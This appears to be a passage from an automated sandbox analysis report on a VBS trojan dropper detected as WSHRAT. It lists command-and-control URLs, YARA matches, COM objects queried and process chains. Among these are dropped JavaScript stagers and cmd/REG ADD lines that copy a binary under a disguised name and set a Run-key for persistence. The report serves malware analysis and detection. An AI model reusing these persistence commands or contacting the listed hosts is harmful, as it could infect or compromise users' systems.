wscript.exe, 00000001.00000003.1343941257.000002BF1152D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343716078.000002BF1152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.13/wex/ggh.js
Source: wscript.exe, 00000001.00000003.1343432506.000002BF1152A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345477649.000002BF11531000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343941257.000002BF1152D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343716078.000002BF1152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.13/wex/ggh.jsp.3
Source: wscript.exe, 00000003.00000003.1682858553.000001E9CD387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com/14-4c59-bad8-9c31255dc46ah
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2597063240.000001F861F70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready-A4
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready-A4x
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready/h
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready13862-A4x
Source: wscript.exe, 00000003.00000002.2596806001.000001E9CD34B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready20
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready3
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready38638
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready4
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready6-A4x
Source: wscript.exe, 00000003.00000002.2596806001.000001E9CD34B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready8076.amsi.csv
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready813S8R
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-ready862
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyL
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyO
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1683216538.000001E9CD33B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyParrs
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyV
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyX
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyadyEM
Source: wscript.exe, 00000003.00000003.1683216538.000001E9CD33B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyaras
Source: wscript.exe, 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readybe.TARM~1
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readye
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyem32
Source: wscript.exe, 00000003.00000002.2596806001.000001E9CD34B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyl
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1683216538.000001E9CD33B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readys
Source: wscript.exe, 00000003.00000002.2596301073.000001E9CD1EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1683216538.000001E9CD33B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyt
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyzow.com:6892/is-readyP
Source: wscript.exe, 00000003.00000002.2596588419.000001E9CD33E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lee44.kozow.com:6892/is-readyzow.com:6892/is-readys
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: JaG.exe, 00000005.00000002.2292880836.0000000007F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: wscript.exe, 00000001.00000002.1345634293.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343866311.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343333967.000002BF11574000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.2596806001.000001E9CD392000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD39D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected WSHRAT

Source: Yara match	File source: amsi64_8076.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5872.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_480.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356330407.000001E9CB43A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1644848582.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564044312.000001F85FE1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640855197.000001B7E608A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1355744491.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1682858553.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640525306.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1558907071.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596948186.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2597045534.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2595876491.000001E9CB221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356488425.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640874613.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645277445.000001B7E5E20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640631442.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564280890.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645147466.000001B7E5D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior

Wscript called in batch mode (surpress errors)

Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F8428	5_2_024F8428
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F4A48	5_2_024F4A48
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F7538	5_2_024F7538
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024FBA48	5_2_024FBA48
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F58C8	5_2_024F58C8
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F7F78	5_2_024F7F78
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F4A3A	5_2_024F4A3A
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_04731590	5_2_04731590
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_0473D41C	5_2_0473D41C
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F44B68	5_2_07F44B68
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F44B59	5_2_07F44B59
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F4EA90	5_2_07F4EA90
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F506E0	5_2_07F506E0
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F54E80	5_2_07F54E80
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F5DDA0	5_2_07F5DDA0
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F5E538	5_2_07F5E538
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F56B10	5_2_07F56B10
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F54E70	5_2_07F54E70
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F58B20	5_2_07F58B20
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F58B10	5_2_07F58B10

Source: ORDER-25013-67789543AX.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@28/10@1/3

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ggh[1].js

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\rHMh.js

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER-25013-67789543AX.vbs

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\DPGLXM.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\notepad.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\JaG.exe "C:\Users\user\AppData\Local\Temp\JaG.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 72 > nul && copy "C:\Users\user\AppData\Local\Temp\JaG.exe" "C:\Users\user\Audio\Windows Audio.exe" && ping 127.0.0.1 -n 72 > nul && "C:\Users\user\Audio\Windows Audio.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 72
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\DPGLXM.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\notepad.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\JaG.exe "C:\Users\user\AppData\Local\Temp\JaG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 72 > nul && copy "C:\Users\user\AppData\Local\Temp\JaG.exe" "C:\Users\user\Audio\Windows Audio.exe" && ping 127.0.0.1 -n 72 > nul && "C:\Users\user\Audio\Windows Audio.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 72

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
